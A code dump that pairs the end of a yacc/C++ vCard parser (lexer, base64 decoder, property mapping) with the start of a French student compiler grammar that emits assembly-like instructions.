| groups PROP_AGENT flags opt_ws EQ vcard opt_ws LINESEP
{
if (!Parse_Agent($1, $2, &($3), $6)) {
delete $6;
YYERROR;
}
}
| error LINESEP
{
stringExpected = flagExpected = FALSE;
yyerrok;
yyclearin;
}
;
opt_str : string | empty { $$[0] = 0; } ;
ws : ws SPACE
| ws HTAB
| SPACE
| HTAB
;
opt_ws : ws
| empty
;
value : string
{ stringExpected = FALSE; }
| binary
{ stringExpected = FALSE; }
| empty
{
$$[0] = 0;
stringExpected = FALSE;
}
;
binary : BBINDATA { inBinary = TRUE; }
LINESEP lines LINESEP
{ inBinary = FALSE; } opt_ws EBINDATA opt_ws
{
StrCat($$, $4, "");
}
;
string : string BKSLASH LINESEP STRING
{
StrCat($$, $1, "\n");
StrCat($$, $$, $4);
}
| string BKSLASH LINESEP
{
StrCat($$, $1, "\n");
}
| STRING
| BKSLASH LINESEP
{
StrCat($$, "\n", "");
}
;
semistrings : semistrings SEMI opt_str
{
StrCat($$, $1, "\177");
StrCat($$, $$, $3);
}
| opt_str
;
lines : lines LINESEP STRING
{
StrCat($$, $1, "\n");
StrCat($$, $$, $3);
}
| STRING
;
groups : grouplist DOT
| ws grouplist DOT
{ StrCat($$, $2, ""); }
| ws
{ $$[0] = 0; }
| empty
{ $$[0] = 0; }
;
grouplist : grouplist DOT WORD
{
strcpy($$, $1);
strcat($$, ".");
strcat($$, $3);
}
| WORD
;
flags : flags COMMA FLAG
{
$$ = $1;
if ($3.known[0]) {
int len = flagslen($1.known);
$$.known[len] = $3.known[0];
$$.known[len+1] = NULL;
} else {
char *p = $$.extended;
int len = strlen($3.extended);
while (*p) p += strlen(p) + 1;
memcpy(p, $3.extended, len + 1);
*(p + len + 1) = 0;
}
}
| COLON { flagExpected = TRUE; } FLAG
{ $$ = $3; }
| empty
{ $$.known[0] = NULL; $$.extended[0] = 0; }
;
empty : ;
%%
/***************************************************************************/
/*** The lexical analyzer ****/
/***************************************************************************/
/*/////////////////////////////////////////////////////////////////////////*/
#define IsLineBreak(_c) ((_c == '\n') || (_c == '\r'))
/*/////////////////////////////////////////////////////////////////////////*/
/* This appends onto yylval.str, unless MAXTOKEN has been exceeded.
* In that case, yylval.str is set to 0 length, and longString is used.
*/
static void AppendCharToToken(char c, S32 *len)
{
if (*len < MAXTOKEN - 1) {
yylval.str[*len] = c; yylval.str[++(*len)] = 0;
} else if (*len == MAXTOKEN - 1) { /* copy to "longString" */
if (!longString) {
longStringMax = MAXTOKEN * 2;
longString = HNEW(char, longStringMax);
}
memcpy(longString, yylval.str, (size_t)*len + 1);
longString[*len] = c; longString[++(*len)] = 0;
yylval.str[0] = 0;
longStringLen = *len;
} else {
if (longStringLen == longStringMax - 1) {
char __huge *newStr = HNEW(char, longStringMax * 2);
_hmemcpy((U8 __huge *)newStr, (U8 __huge *)longString, longStringLen + 1);
longStringMax *= 2;
HFREE(longString);
longString = newStr;
}
longString[*len] = c; longString[++(*len)] = 0;
longStringLen = *len;
}
}
/*/////////////////////////////////////////////////////////////////////////*/
/* StrCat appends onto dst, ensuring that longString is used appropriately.
* src1 may be of 0 length, in which case "longString" should be used.
* "longString" would never be used for src2.
*/
static void StrCat(char *dst, const char *src1, const char *src2)
{
S32 src1Len = strlen(src1);
S32 src2Len = strlen(src2);
S32 req;
if (!src1Len && longString) {
src1Len = longStringLen;
src1 = longString;
}
if ((req = src1Len + src2Len + 1) > MAXTOKEN) {
if (longString) { /* longString == src1 */
if (longStringMax - longStringLen < src2Len) {
/* since src2Len must be < MAXTOKEN, doubling longString
is guaranteed to be enough room */
char __huge *newStr = HNEW(char, longStringMax * 2);
_hmemcpy((U8 __huge *)newStr, (U8 __huge *)longString, longStringLen + 1);
longStringMax *= 2;
HFREE(longString);
longString = newStr;
}
_hmemcpy((U8 __huge *)(longString + longStringLen), (U8 __huge *)src2, src2Len + 1);
longStringLen += src2Len;
} else { /* haven't yet used longString, so set it up */
longStringMax = MAXTOKEN * 2;
longString = HNEW(char, longStringMax);
memcpy(longString, src1, (size_t)src1Len + 1);
memcpy(longString + src1Len, src2, (size_t)src2Len + 1);
longStringLen = src1Len + src2Len;
}
*dst = 0; /* indicate result is in longString */
} else { /* both will fit in MAXTOKEN, so src1 can't be longString */
if (dst != src1)
strcpy(dst, src1);
strcat(dst, src2);
}
}
/*/////////////////////////////////////////////////////////////////////////*/
/* Set up the lexor to parse a string value. */
static void ExpectString(void)
{
stringExpected = TRUE;
if (longString) {
HFREE(longString); longString = NULL;
longStringLen = 0;
}
flagExpected = FALSE;
}
/*/////////////////////////////////////////////////////////////////////////*/
#define FlushWithPending(_t) { \
if (len) { \
pendingToken = _t; \
goto Pending; \
} else { \
msv_lineNum += ((_t == LINESEP) || (_t == NEWLINE)); \
return _t; \
} \
}
static int peekn;
static char peekc[2];
/*/////////////////////////////////////////////////////////////////////////*/
static char lex_getc()
{
if (peekn) {
return peekc[--peekn];
}
if (curPos == inputLen)
return EOF;
else if (inputString)
return *(inputString + curPos++);
else {
char result;
return inputFile->Read(&result, 1) == 1 ? result : EOF;
}
}
/*/////////////////////////////////////////////////////////////////////////*/
static void lex_ungetc(char c)
{
ASSERT(peekn < 2);
peekc[peekn++] = c;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* Collect up a string value. */
static int LexString()
{
char cur;
S32 len = 0;
do {
cur = lex_getc();
switch (cur) {
case '\\': { /* check for CR-LF combos after the backslash */
char next = lex_getc();
if (semiSpecial && (next == ';')) {
AppendCharToToken(';', &len);
} else if (!inBinary && ((next == '\r') || (next == '\n'))) {
char next2;
next2 = lex_getc();
if (!(((next2 == '\r') || (next2 == '\n')) && (next != next2)))
lex_ungetc(next2);
lex_ungetc(next); /* so that we'll pick up the LINESEP again */
pendingToken = BKSLASH;
goto EndString;
} else if (!inBinary && (next == '\\')) {
/* double backslash detected */
next = lex_getc();
if ((next == '\r') || (next == '\n')) {
/* found \\ at end of line */
char next2;
next2 = lex_getc();
if (!(((next2 == '\r') || (next2 == '\n')) && (next != next2)))
lex_ungetc(next2);
AppendCharToToken('\\', &len);
pendingToken = LINESEP;
goto EndString;
}
/* within a line */
AppendCharToToken('\\', &len);
lex_ungetc(next); /* now pointing at second backslash */
/* here we let the top level switch handle it the next
time around */
} else {
AppendCharToToken(cur, &len);
}
break;
} /* backslash */
case ';':
if (semiSpecial) {
pendingToken = SEMI;
goto EndString;
} else
AppendCharToToken(cur, &len);
break;
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
pendingToken = LINESEP;
goto EndString;
}
case (char)EOF:
pendingToken = EOF;
break;
default:
AppendCharToToken(cur, &len);
break;
} /* switch */
} while (cur != (char)EOF);
EndString:
if (strncmp(yylval.str + strspn(yylval.str, " \t"), "<bindata>", 9) == 0)
return BBINDATA;
else if (strncmp(yylval.str + strspn(yylval.str, " \t"), "</bindata>", 10) == 0)
return EBINDATA;
else if (!len) {
/* must have hit something immediately, in which case pendingToken
is set. return it. */
int result = pendingToken;
pendingToken = 0;
msv_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
return STRING;
} /* LexString */
/*/////////////////////////////////////////////////////////////////////////*/
/*
* Read chars from the input.
* Return one of the token types (or -1 for EOF).
* Set yylval to indicate the value of the token, if any.
*/
int msv_lex();
int msv_lex()
{
char cur;
S32 len = 0;
if (pendingToken) {
int result = pendingToken;
pendingToken = 0;
msv_lineNum += ((result == LINESEP) || (result == NEWLINE));
return result;
}
yylval.str[0] = 0;
if (stringExpected)
return LexString();
else if (curCard == -1) {
do {
cur = lex_getc();
switch (cur) {
case '[': FlushWithPending(OBRKT);
case ' ':
case '\t':
if (len) goto Pending;
break;
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
FlushWithPending(NEWLINE);
}
case (char)EOF: FlushWithPending(EOF);
default:
yylval.str[len] = cur; yylval.str[++len] = 0;
break;
} /* switch */
} while (len < MAXTOKEN-1);
goto Pending;
}
do {
cur = lex_getc();
switch (cur) {
case '[': FlushWithPending(OBRKT);
case ']': FlushWithPending(CBRKT);
case '=': FlushWithPending(EQ);
case ':': FlushWithPending(COLON);
case '.': FlushWithPending(DOT);
case ',': FlushWithPending(COMMA);
case ' ': FlushWithPending(SPACE);
case '\t': FlushWithPending(HTAB);
case '\\': FlushWithPending(BKSLASH);
case '\r':
case '\n': {
char next = lex_getc();
if (!(((next == '\r') || (next == '\n')) && (cur != next)))
lex_ungetc(next);
FlushWithPending(LINESEP);
}
case (char)EOF: FlushWithPending(EOF);
default:
yylval.str[len] = cur; yylval.str[++len] = 0;
break;
} /* switch */
} while (len < MAXTOKEN-1);
return WORD;
Pending:
{
if (strcmp(yylval.str, "vCard") == 0) {
if (pendingToken == NEWLINE)
pendingToken = LINESEP;
return VCARD;
}
if (flagExpected) {
FLAGS_STRUCT flags;
if (StrToFlags(yylval.str, &flags, NULL)) {
yylval.flags = flags;
return FLAG;
} else {
char buf[40];
sprintf(buf, "unknown flag name \"%s\"", yylval.str);
yyerror(buf);
}
} else if ((curCard != -1) && Lookup(mapProps, yylval.str)
|| (strnicmp(yylval.str, "X-", 2) == 0)) {
#if YYDEBUG
if (yydebug) {
char buf[80];
sprintf(buf, "property \"%s\"\n", yylval.str);
Parse_Debug(buf);
}
#endif
/* check for special props that are tokens */
if (stricmp(yylval.str, "A") == 0)
return PROP_A;
else if (stricmp(yylval.str, "N") == 0)
return PROP_N;
else if (stricmp(yylval.str, "O") == 0)
return PROP_O;
else if (stricmp(yylval.str, "AGENT") == 0)
return PROP_AGENT;
else
return PROP;
}
}
return (curCard == -1) ? TERM : WORD;
}
/***************************************************************************/
/*** Public Functions ****/
/***************************************************************************/
static BOOL Parse_MSVHelper(CList *vcList)
{
BOOL success = FALSE;
curCard = -1;
msv_numErrors = 0;
InitMapProps();
pendingToken = 0;
msv_lineNum = 1;
peekn = 0;
global_vcList = vcList;
stringExpected = flagExpected = FALSE;
longString = NULL; longStringLen = 0; longStringMax = 0;
/* this winds up invoking the Parse_* callouts. */
if (yyparse() != 0)
goto Done;
success = TRUE;
Done:
if (longString) { HFREE(longString); longString = NULL; }
RemoveAll(mapProps); delete mapProps; mapProps = NULL;
if (!success) {
for (int i = 0; i < MAXCARD; i++)
if (cardToBuild[i]) {
delete cardToBuild[i];
cardToBuild[i] = NULL;
}
if (cardBuilt) delete cardBuilt;
}
cardBuilt = NULL;
return success;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
BOOL Parse_MSV(
const char *input, /* In */
S32 len, /* In */
CVCard **card) /* Out */
{
CList vcList;
BOOL result;
inputString = input;
inputLen = len;
curPos = 0;
inputFile = NULL;
result = Parse_MSVHelper(&vcList);
if (vcList.GetCount()) {
BOOL first = TRUE;
for (CLISTPOSITION pos = vcList.GetHeadPosition(); pos; ) {
CVCard *vCard = (CVCard *)vcList.GetNext(pos);
if (first) {
*card = vCard;
first = FALSE;
} else
delete vCard;
}
} else
*card = NULL;
return result;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
extern BOOL Parse_Many_MSV(
const char *input, /* In */
S32 len, /* In */
CList *vcList) /* Out: CVCard objects added to existing list */
{
inputString = input;
inputLen = len;
curPos = 0;
inputFile = NULL;
return Parse_MSVHelper(vcList);
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This is the public API to call to parse a buffer and create a CVCard. */
BOOL Parse_MSV_FromFile(
CFile *file, /* In */
CVCard **card) /* Out */
{
CList vcList;
BOOL result;
DWORD startPos;
inputString = NULL;
inputLen = -1;
curPos = 0;
inputFile = file;
startPos = file->GetPosition();
result = Parse_MSVHelper(&vcList);
if (vcList.GetCount()) {
BOOL first = TRUE;
for (CLISTPOSITION pos = vcList.GetHeadPosition(); pos; ) {
CVCard *vCard = (CVCard *)vcList.GetNext(pos);
if (first) {
*card = vCard;
first = FALSE;
} else
delete vCard;
}
} else {
*card = NULL;
file->Seek(startPos, CFile::begin);
}
return result;
}
extern BOOL Parse_Many_MSV_FromFile(
CFile *file, /* In */
CList *vcList) /* Out: CVCard objects added to existing list */
{
DWORD startPos;
BOOL result;
inputString = NULL;
inputLen = -1;
curPos = 0;
inputFile = file;
startPos = file->GetPosition();
if (!(result = Parse_MSVHelper(vcList)))
file->Seek(startPos, CFile::begin);
return result;
}
/***************************************************************************/
/*** Parser Callout Functions ****/
/***************************************************************************/
/*/////////////////////////////////////////////////////////////////////////*/
static void YYDebug(const char *s)
{
Parse_Debug(s);
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL StrToFlags(const char *s, FLAGS_STRUCT *flags, VC_PTR_FLAGS capFlags)
{
int i;
memset(flags, 0, sizeof(*flags));
if (strnicmp(s, "X-", 2) == 0) {
strcpy(flags->extended, s);
return TRUE;
}
for (i = 0; generalFlags[i].name; i++)
if (stricmp(s, strrchr(generalFlags[i].name, '/') + 1) == 0) {
flags->known[0] = generalFlags[i].name;
if (capFlags) capFlags->general |= generalFlags[i].value;
return TRUE;
}
for (i = 0; emailFlags[i].name; i++)
if (stricmp(s, strrchr(emailFlags[i].name, '/') + 1) == 0) {
flags->known[0] = emailFlags[i].name;
if (capFlags)
capFlags->email = (VC_EMAIL_TYPE)emailFlags[i].value;
return TRUE;
}
for (i = 0; videoFlags[i].name; i++)
if (stricmp(s, strrchr(videoFlags[i].name, '/') + 1) == 0) {
flags->known[0] = videoFlags[i].name;
if (capFlags)
capFlags->video = (VC_VIDEO_TYPE)videoFlags[i].value;
return TRUE;
}
if (stricmp(s, "WAV") == 0) {
flags->known[0] = audioFlags[0].name;
if (capFlags)
capFlags->audio = (VC_AUDIO_TYPE)audioFlags[0].value;
return TRUE;
}
return FALSE;
}
static BOOL NeedsQP(const char* str)
{
while (*str) {
if (!((*str >= 32 && *str <= 60) || (*str >= 62 && *str <= 126)))
return TRUE;
str++;
}
return FALSE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL Parse_Assoc(
const char *groups, const char *prop, FLAGS_STRUCT *flags, const char *value)
{
CVCNode *node = NULL;
const char *propName;
const char *val = *value ? value : longString;
S32 valLen = *value ? strlen(value) : longStringLen;
if (!valLen)
return TRUE; /* don't treat an empty value as a syntax error */
propName = Lookup(mapProps, prop);
/* prop is a word like "PN", and propName is now */
/* the real prop name of the form "+//ISBN 1-887687-00-9::versit..." */
if (*groups) {
node = FindOrCreatePart(bodyToBuild, groups);
} else { /* this is a "top level" property name */
node = bodyToBuild->AddPart();
}
if (!propName) { /* it's an extended property */
if (FlagsHave(flags, vcBase64Prop)) {
U8 __huge *bytes;
S32 len;
bytes = DataFromBase64(val, valLen, &len);
if (bytes) {
node->AddProp(new CVCProp(prop, vcOctetsType, bytes, len));
HFREE(bytes);
AddBoolProps(node, flags);
} else
return FALSE;
} else {
node->AddStringProp(prop, value);
AddBoolProps(node, flags);
node->AddBoolProp(vcQuotedPrintableProp);
}
return TRUE;
}
if ((strcmp(propName, vcLogoProp) == 0)
|| (strcmp(propName, vcPhotoProp) == 0)) {
if (FlagsHave(flags, vcGIFProp) && FlagsHave(flags, vcBase64Prop)) {
U8 *bytes;
S32 len;
bytes = DataFromBase64(val, valLen, &len);
if (bytes) {
node->AddProp(new CVCProp(propName, VCGIFType, bytes, len));
HFREE(bytes);
AddBoolProps(node, flags);
} else
return FALSE;
}
} else if (strcmp(propName, vcPronunciationProp) == 0) {
if (FlagsHave(flags, vcBase64Prop)) {
if (FlagsHave(flags, vcWAVEProp) && FlagsHave(flags, vcBase64Prop)) {
U8 __huge *bytes;
S32 len;
bytes = DataFromBase64(val, valLen, &len);
if (bytes) {
node->AddProp(new CVCProp(propName, VCWAVType, bytes, len));
HFREE(bytes);
AddBoolProps(node, flags);
} else
return FALSE;
}
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, flags);
if (NeedsQP(value))
node->AddBoolProp(vcQuotedPrintableProp);
}
} else if ((strcmp(propName, vcPublicKeyProp) == 0)
&& FlagsHave(flags, vcBase64Prop)) {
U8 __huge *bytes;
S32 len;
bytes = DataFromBase64(val, valLen, &len);
if (bytes) {
node->AddProp(new CVCProp(propName, VCOctetsType, bytes, len));
HFREE(bytes);
AddBoolProps(node, flags);
} else
return FALSE;
} else {
node->AddStringProp(propName, value);
AddBoolProps(node, flags);
if (NeedsQP(value))
node->AddBoolProp(vcQuotedPrintableProp);
}
return TRUE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL Parse_SemiValue(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
char *parts, const char **props)
{
CVCNode *node = NULL;
const char *propName = Lookup(mapProps, prop);
char *p = *parts ? parts : longString;
int i = 0;
char *sep;
BOOL needsQP = FALSE;
if (!*p)
return TRUE; /* don't treat an empty value as a syntax error */
do {
if ((sep = strchr(p, '\177')))
*sep = 0;
if (strlen(p)) {
if (!node) {
if (*groups) {
node = FindOrCreatePart(bodyToBuild, groups);
} else { /* this is a "top level" property name */
node = bodyToBuild->AddPart();
}
}
node->AddStringProp(props[i], p);
needsQP |= NeedsQP(p);
}
if (sep)
p = sep + 1;
} while (sep && props[++i]);
if (node) {
AddBoolProps(node, flags);
if (needsQP)
node->AddBoolProp(vcQuotedPrintableProp);
}
return TRUE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL Parse_Agent(
const char *groups, const char *prop, FLAGS_STRUCT *flags,
CVCard *agentCard)
{
CVCNode *node = NULL;
if (*groups) {
node = FindOrCreatePart(bodyToBuild, groups);
} else { /* this is a "top level" property name */
node = bodyToBuild->AddPart();
}
node->AddProp(new CVCProp(vcAgentProp, VCNextObjectType, agentCard));
AddBoolProps(node, flags);
return TRUE;
}
/***************************************************************************/
/*** Private Utility Functions ****/
/***************************************************************************/
/*/////////////////////////////////////////////////////////////////////////*/
static void AddAssoc(CList *table, const char *key, const char *value)
{
AssocEntry *entry = new AssocEntry;
int len;
if ((len = strlen(key)) < MAXASSOCKEY)
strcpy(entry->key, key);
else {
strncpy(entry->key, key, MAXASSOCKEY - 1);
entry->key[MAXASSOCKEY - 1] = 0;
}
if ((len = strlen(value)) < MAXASSOCVALUE)
strcpy(entry->value, value);
else {
strncpy(entry->value, value, MAXASSOCVALUE - 1);
entry->value[MAXASSOCVALUE - 1] = 0;
}
table->AddTail(entry);
}
/*/////////////////////////////////////////////////////////////////////////*/
# if 0
static void SetAssoc(CList *table, const char *key, const char *value)
{
for (CLISTPOSITION pos = table->GetHeadPosition(); pos; ) {
AssocEntry *entry = (AssocEntry *)table->GetNext(pos);
if (strcmp(key, entry->key) == 0) {
int len;
if ((len = strlen(value)) < MAXASSOCVALUE)
strcpy(entry->value, value);
else {
strncpy(entry->value, value, MAXASSOCVALUE - 1);
entry->value[MAXASSOCVALUE - 1] = 0;
}
return;
}
}
AddAssoc(table, key, value);
}
#endif
/*/////////////////////////////////////////////////////////////////////////*/
static const char *Lookup(CList *table, const char *key)
{
for (CLISTPOSITION pos = table->GetHeadPosition(); pos; ) {
AssocEntry *entry = (AssocEntry *)table->GetNext(pos);
if (stricmp(key, entry->key) == 0)
return entry->value;
}
return NULL;
}
/*/////////////////////////////////////////////////////////////////////////*/
static void RemoveAll(CList *table)
{
for (CLISTPOSITION pos = table->GetHeadPosition(); pos; ) {
AssocEntry *entry = (AssocEntry *)table->GetNext(pos);
delete entry;
}
table->RemoveAll();
}
/*/////////////////////////////////////////////////////////////////////////*/
/* "name" is of the form A.FOO.BAZ, where each is a node name. */
/* Walk the node tree starting at "node" looking for part objects */
/* having the given name for that level. At each level, if a part */
/* object isn't found, create one and give it that name. */
CVCNode* FindOrCreatePart(CVCNode *node, const char *name)
{
const char *remain = name;
char *dot = strchr(remain, '.');
int size, len;
char thisName[128];
wchar_t *thisUnicode;
CVCNode *thisNode = node, *thisPart;
CList *props;
do {
if (dot) {
len = dot - remain;
strncpy(thisName, remain, len);
*(thisName + len) = 0;
} else
strcpy(thisName, remain);
thisUnicode = FakeUnicode(thisName, &size);
props = thisNode->GetProps();
thisPart = NULL;
for (CLISTPOSITION pos = props->GetHeadPosition(); pos; ) {
CVCProp *prop = (CVCProp *)props->GetNext(pos);
if (strcmp(prop->GetName(), vcPartProp) != 0)
continue;
CVCNode *part = (CVCNode *)prop->FindValue(
VCNextObjectType)->GetValue();
CVCProp *nodeNameProp;
if (!(nodeNameProp = part->GetProp(vcNodeNameProp)))
continue;
if (wcscmp(thisUnicode, (wchar_t *)nodeNameProp->FindValue(VCStrIdxType)->GetValue()) == 0) {
thisPart = part;
break;
}
}
delete [] thisUnicode;
if (!thisPart) {
thisPart = thisNode->AddPart();
thisPart->AddStringProp(vcNodeNameProp, thisName);
}
if (!dot)
return thisPart;
remain = dot + 1;
dot = strchr(remain, '.');
thisNode = thisPart;
} while (TRUE);
return NULL; /* never reached */
} /* FindOrCreatePart */
/*/////////////////////////////////////////////////////////////////////////*/
static void InitMapProps(void)
{
mapProps = new CList;
AddAssoc(mapProps, "LOGO", vcLogoProp);
AddAssoc(mapProps, "PHOTO", vcPhotoProp);
AddAssoc(mapProps, "FADR", vcDeliveryLabelProp);
AddAssoc(mapProps, "A", msv_address);
AddAssoc(mapProps, "FN", vcFullNameProp);
AddAssoc(mapProps, "TITLE", vcTitleProp);
AddAssoc(mapProps, "O", msv_orgname_orgunit);
AddAssoc(mapProps, "N", msv_fam_given);
AddAssoc(mapProps, "PN", vcPronunciationProp);
AddAssoc(mapProps, "LANG", vcLanguageProp);
AddAssoc(mapProps, "T", vcTelephoneProp);
AddAssoc(mapProps, "EMAIL", vcEmailAddressProp);
AddAssoc(mapProps, "TZ", vcTimeZoneProp);
AddAssoc(mapProps, "GEO", vcLocationProp);
AddAssoc(mapProps, "NOTE", vcCommentProp);
AddAssoc(mapProps, "URL", vcURLProp);
AddAssoc(mapProps, "CS", vcCharSetProp);
AddAssoc(mapProps, "REV", vcLastRevisedProp);
AddAssoc(mapProps, "UID", vcUniqueStringProp);
AddAssoc(mapProps, "KEY", vcPublicKeyProp);
AddAssoc(mapProps, "MAILER", vcMailerProp);
AddAssoc(mapProps, "AGENT", vcAgentProp);
AddAssoc(mapProps, "BD", vcBirthDateProp);
AddAssoc(mapProps, "ROLE", vcBusinessRoleProp);
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This parses and converts the base64 format for binary encoding into
* a decoded buffer (allocated with new). See RFC 1521.
*/
static U8 __huge * DataFromBase64(
const char __huge *str, S32 strLen, S32 *len)
{
S32 cur = 0, bytesLen = 0, bytesMax = 0;
int quadIx = 0, pad = 0;
U32 trip = 0;
U8 b;
char c;
U8 __huge *bytes = NULL;
while (cur < strLen) {
c = str[cur];
if ((c >= 'A') && (c <= 'Z'))
b = (U8)(c - 'A');
else if ((c >= 'a') && (c <= 'z'))
b = (U8)(c - 'a') + 26;
else if ((c >= '0') && (c <= '9'))
b = (U8)(c - '0') + 52;
else if (c == '+')
b = 62;
else if (c == '/')
b = 63;
else if (c == '=') {
b = 0;
pad++;
} else if ((c == '\n') || (c == ' ') || (c == '\t')) {
cur++;
continue;
} else { /* error condition */
if (bytes) delete [] bytes;
return NULL;
}
trip = (trip << 6) | b;
if (++quadIx == 4) {
U8 outBytes[3];
int numOut;
for (int i = 0; i < 3; i++) {
outBytes[2-i] = (U8)(trip & 0xFF);
trip >>= 8;
}
numOut = 3 - pad;
if (bytesLen + numOut > bytesMax) {
if (!bytes) {
bytes = HNEW(U8, 1024L);
bytesMax = 1024;
} else {
U8 __huge *newBytes = HNEW(U8, bytesMax * 2);
_hmemcpy(newBytes, bytes, bytesLen);
HFREE(bytes);
bytes = newBytes;
bytesMax *= 2;
}
}
memcpy(bytes + bytesLen, outBytes, numOut);
bytesLen += numOut;
trip = 0;
quadIx = 0;
}
cur++;
} /* while */
*len = bytesLen;
return bytes;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This creates an empty CVCard shell with an English body in preparation
* for parsing properties onto it. This is used for both the outermost
* card, as well as any AGENT properties, which are themselves vCards.
*/
static BOOL PushVCard()
{
CVCard *card;
CVCNode *root, *english;
if (curCard == MAXCARD - 1)
return FALSE;
card = new CVCard;
card->AddObject(root = new CVCNode); /* create root */
root->AddProp(new CVCProp(VCRootObject)); /* mark it so */
/* add a body having the default language */
english = root->AddObjectProp(vcBodyProp, VCBodyObject);
cardToBuild[++curCard] = card;
bodyToBuild = english;
return TRUE;
}
/*/////////////////////////////////////////////////////////////////////////*/
/* This pops the recently built vCard off the stack and returns it. */
static CVCard* PopVCard()
{
CVCard *result = cardToBuild[curCard];
cardToBuild[curCard--] = NULL;
bodyToBuild = (curCard == -1) ? NULL : cardToBuild[curCard]->FindBody();
return result;
}
/*/////////////////////////////////////////////////////////////////////////*/
static int flagslen(const char **flags)
{
int i;
for (i = 0; *flags; flags++, i++) ;
return i;
}
/*/////////////////////////////////////////////////////////////////////////*/
static BOOL FlagsHave(FLAGS_STRUCT *flags, const char *propName)
{
const char **kf = flags->known;
while (*kf)
if (*kf++ == propName)
return TRUE;
return FALSE;
}
/*/////////////////////////////////////////////////////////////////////////*/
static void AddBoolProps(CVCNode *node, FLAGS_STRUCT *flags)
{
const char **kf = flags->known;
const char *ext = flags->extended;
// process the known boolean properties
while (*kf) {
node->AddBoolProp(*kf);
kf++;
}
// process the extended boolean properties
while (*ext) {
node->AddBoolProp(ext);
ext += strlen(ext) + 1;
}
}
|
<reponame>jodorganistaca/Projet_SI
%{
#include <stdio.h>
#include <stdlib.h>
#include "linkedList.h"
void yyerror(char *s);
int depth = 0;
int add;
char type[20];
char value[20];
char operat[4];
int temp =0;
int valueInt;
FILE *fp;
%}
%union
{
char char_val;
int int_val;
double double_val;
char* str_val;
}
%token <int_val> tIF tELSE tTHEN tELSIF tWHILE tPRINTF tCHAR tMAIN tCONST tINTEGER tSPACE tTAB tBACKSPACE tCOMA tSEMICOLON tGEQ tLEQ tBE tINF tSUP tNEWL tEXPO tCOMMENT
%token <int_val> tVOID tPLUS tMOINS tMULT tDIV tPOW tEQUAL tAND tOR tPOPEN tPCLOSE tAOPEN tACLOSE tCOPEN tCCLOSE tERROR tTRUE tFALSE
%token <double_val> tDEC tAPOS
%token <char_val> tCHARACTER
%token <str_val> tVARNAME tPOINTER tFLOAT tINT
%type <str_val> type
%type <int_val> calcul_multiple
%type <str_val> variable_multiple
%right tEQUAL
%left tMOINS tPLUS
%left tMULT tDIV
%start go
%%
// $first priorité sur les parenthèse et division multiplier
go
: tMAIN tPOPEN tPCLOSE statement {printList();}
| tINT tMAIN tPOPEN tPCLOSE statement {printList();}
;
statement
: tAOPEN expression tACLOSE
;
expression
: expression expression
| expression_arithmetic
| iteration_statement
| expression_print
// | expression_fonction
;
/*
expression_fonction
: tVARNAME tPOPEN parameters tPCLOSE statement {printf("fonction\n");}
| tINT tVARNAME tPOPEN parameters tPCLOSE statement {printf("fonction\n");}
|tINT tVARNAME tPOPEN tPCLOSE statement {printf("fonction\n");}
;
parameters
: tINT tVARNAME
| tCHAR tVARNAME
| tINT tVARNAME tCOMA parameters
| tCHAR tVARNAME tCOMA parameters
;
*/
// : type tVARNAME tEQUAL tAPOS tVARNAME tAPOS tSEMICOLON // string dans file, on peut transformer en ascii sur un registre et le traduire lorsqu'appelé
// ok ?
expression_arithmetic
:type variable_multiple tSEMICOLON //prendre en compte le cas int a=2, b=4 , c=5;
//{type=$1;}
//VARNAME DONNE
| tVARNAME tEQUAL calcul_multiple tSEMICOLON /* cas où l'on change la value d'une variable existante a = 1+7+a-b*/
{
add= findByID($1);
printf("l'adresse %d\n",add);
changeValuebyadd(add,type,Value($3));
fprintf(fp,"COP %d %d\n", add, $3);
}
// | declaration_pointeur tSEMICOLON;
;
/*declaration_pointeur // peut être rentré dans variable multiple
: tINT tPOINTER
| tINT tPOINTER tEQUAL tINTEGER
;
*/
expression_print
: tPRINTF tPOPEN tVARNAME tPCLOSE tSEMICOLON //{printf($2);}
;
/* int a; int a,b,c; int a,b=5,c;*/
type
: tINT
{
$$ = $1;
// printf("%s\n", $1);
strcpy(type, "int");
}
| tCONST
{
$$ = $1;
//strcpy(type, $1);
}
/*| tFLOAT
{
//strcpy(type, $1);
}*/
/*| tCHAR
{
//strcpy(type, $1);
}*/
;
// OK ?
variable_multiple
: tVARNAME tEQUAL calcul_multiple
{
//depth++;
/* printf("typeeeeee %s\n", type);
printf("varName %s\n", $1);
printf("Value %d\n",valueInt);
printf("Depth %d\n", depth);*/
// print("%s",type);
//if (!($3 ==1 || $3 ==0)) {
add = insertNode($1,type,Value($3),0);
printf("ma val %d",Value($3));
printList();
// add = findByID($1);
/*}else{
add = insertNode($1,type,Value($3),0);
}*/
fprintf(fp,"COP %d %d\n", add, $3); // add 0 1 temp
/* printf("teeesst %s\n", yylval.str_val);
insertNode(yylval.str_val,type,depth);
printf("insertioooon %s\n", yylval.str_val);
printList(); */
}
| variable_multiple tCOMA variable_multiple
| tVARNAME
{add = insertNode($1,type,0,0);}// cas triviaux a
;
// problème dans l'ordre de calcul
calcul_multiple
: calcul_multiple tPLUS calcul_multiple
{
printf("--------------------ADDITION---------------\n"); //test correct
printf("%d ++++++ %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,0);
temp = (temp+1)%2;
valueInt= Value($1)+Value($3);
printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"ADD %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
}
| calcul_multiple tMOINS calcul_multiple
{
printf("--------------------SOUSTRACTION---------------\n"); //test correct
printf(" %d - %d\n", Value($1),Value($3));
